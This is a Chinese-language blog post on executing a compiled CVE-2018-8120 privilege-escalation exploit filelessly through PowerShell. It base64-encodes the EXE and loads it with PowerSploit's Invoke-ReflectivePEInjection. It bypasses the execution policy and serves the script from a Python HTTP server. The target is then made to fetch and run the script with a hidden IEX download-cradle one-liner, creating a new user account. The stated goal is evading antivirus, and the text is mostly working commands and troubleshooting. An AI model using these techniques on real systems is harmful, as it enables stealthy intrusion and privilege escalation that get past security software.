将EXE程序通过Powershell形式实现无文件运行

将EXE程序通过Powershell形式实现无文件运行

实践研究

本篇文写了挺久了,18年底进行总结编写,一直忘记发出来,当时在想否能将某个EXE使用PowerShell通过无文件的方式进行利用,于是就在网上搜索了各种资料,搜索到了一些相关资料,并对该方式进行尝试。

本次实验对象:

  • 目标系统:Windows 2008 R2 Datacenter
  • 提权EXP:CVE-2018-8120

通过做Powershell下载木马到目标机执行这个实现发现,实际上如果EXE木马没有经过免杀处置的话,几乎90%都会被杀毒软件干掉,这个时候就在考虑是否能把EXE改成PowerShell脚本去执行,从而绕过一些由于未及时更新相关策略的杀毒软件呢,于是乎就上网搜索相关资料,就搜到了一个神器:PowerSploit里面有一个模块为:Invoke-ReflectivePEInjection这是一款可以将Windows PE文件(DLL / EXE)反射加载到PowerShell进程,或者反射性的将DLL注入远程进程的模块。

Github:https://github.com/PowerShellMafia/PowerSploit

首先先把编译好的CVE-2018-8120EXP进行Base64编码,因为后续使用需要用到EXE转换Bae64后的编码,转换为Base64代码为:

function Convert-BinaryToString {
   [CmdletBinding()] param (
      [string] $FilePath
   )
   try {
      $ByteArray = [System.IO.File]::ReadAllBytes($FilePath);
   }
   catch {
      throw "Failed to read file. Ensure that you have permission to the file, and that the file path is correct.";
   }
   if ($ByteArray) {
      $Base64String = [System.Convert]::ToBase64String($ByteArray);
   }
   else {
      throw '$ByteArray is $null.';
   }
   Write-Output -InputObject $Base64String;
}

测试过程中发发现,在使用Convert-BinaryToString对exe程序进行Base64编码转换时,需要使用exe的绝对路径,不然会在读取文件时抛出异常

将EXE程序通过Powershell形式实现无文件运行
PS C:\Users\Administrator\Desktop\PowerSploit> .\BinaryToBase64.ps1
PS C:\Users\Administrator\Desktop\PowerSploit> Convert-BinaryToString 需要转换的exe文件的绝对路径
将EXE程序通过Powershell形式实现无文件运行

随后将exe程序进行Base64编码后,我们需要配合使用Invoke-ReflectivePEInjection,下载地址可到参考文献处获取,代码如下:

function Invoke-ReflectivePEInjection
{
 #直接将Github中的Invoke-ReflectivePEInjection函数复制进来即可直接调用
}
$InputString = '填入exe程序转换后的Base64编码'
$PEBytes = [System.Convert]::FromBase64String($InputString)
Invoke-ReflectivePEInjection -PEBytes $PEBytes -ExeArgs "Args"

#我们可以直接在PowerShell脚本中写完调用该函数的操作,就可以避免在外面调用函数导致出现字符串长度过长导致无法使用xp_cmdshell执行Powershell的情况了。
将EXE程序通过Powershell形式实现无文件运行

在-ExeArgs后输入当前exe程序所需要传递的参数值,比如我需要用该exp提权创建一个账号:

注意,当程序需要传递参数时,比如:cve-2018-8120.exe “whoami” ,参数是需要双引号包住的,那么在转换成powershell使用时也需要对参数进行包裹,但是由于双引号不能嵌套双引号,因此就可以使用单引号嵌套双引号的方式进行嵌套:

-ExeArgs '"net user powershell_test Test@123QWE /add"'
将EXE程序通过Powershell形式实现无文件运行

先拿本地虚拟机测试一下,看是否能成功运行该PowerShell脚本:

#注意:默认情况下Powershell禁止Powershell脚本在系统中执行,当你通过PowerShell文件执行命令的时候可能会提示:无法加载文件 X:\XXXX\Exploit.ps1,因为在此系统中禁止执行脚本。
#这个时候就可以使用-ExecutionPolicy Bypass的形式去绕过该策略的限制。

Powershell -ExecutionPolicy Bypass -File Exploit.py

如下图:

将EXE程序通过Powershell形式实现无文件运行

这个时候就可以加上-ExecutionPolicy Bypass即可运行:

将EXE程序通过Powershell形式实现无文件运行

成功运行该EXP,也就是说明,通过PELoad是可以在将EXE程序通过Powershell去运行的。

尝试实践

首先搭建一个HTTP服务器,并且将写好的Powershell脚本放入对应目录中,用于目标机器远程获取代码,这里使用的是Python开了一个HTTP服务器。

python -m SimpleHTTPServer 8888
将EXE程序通过Powershell形式实现无文件运行

Powershell脚本地址:http://192.168.31.7:8888/Exploit.ps1
在目标机器中执行从HTTP服务器获取代码并运行脚本的命令:

powershell -w hidden -nop -ep bypass -c IEX (new-object net.webclient).downloadstring('http://192.168.31.7:8888/Exploit.ps1')

注意:DownloadString中的URL,必须使用单引号包裹,不然执行Powershell代码的时候会出现报错的情况

将EXE程序通过Powershell形式实现无文件运行

成功执行命令后,可以看到HTTP服务器,由192.168.31.68发起的拉取Exploit.ps1代码的记录并且成功运行Powershell脚本。

将EXE程序通过Powershell形式实现无文件运行
将EXE程序通过Powershell形式实现无文件运行

使用Powershell执行提权EXP成功创建用户。

问题小结

在本次的测试过程中,也是遇到了不少的问题,归纳后如下 :

  • 1.根据操作系统来定,64位操作系统CMD下默认使用PowerShell是为x64的
将EXE程序通过Powershell形式实现无文件运行

2.根据不同的exe程序,可能都会出现不同的问题,当你遇到报错为:

Invoke-Command : PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)
将EXE程序通过Powershell形式实现无文件运行

这个时候可能就为载入的exe程序与PELoad的架构不匹配,换成x86的PowerShell运行脚本即可。

将EXE程序通过Powershell形式实现无文件运行

3.当遇到报错提示为:

Invoke-Command : VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free).
将EXE程序通过Powershell形式实现无文件运行

这里可以看到报出的错误是关于ASLR的警告,ASLR是一种针对缓冲区溢出的安全保护技术,我们只需要在调用函数时加上-ForceASLR参数即可。

将EXE程序通过Powershell形式实现无文件运行

因此大家在选择Exp或者某些程序的时候,最好就是严格要求目标操作系统的架构是选择,不然可能会出现各种运行的问题。

from

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注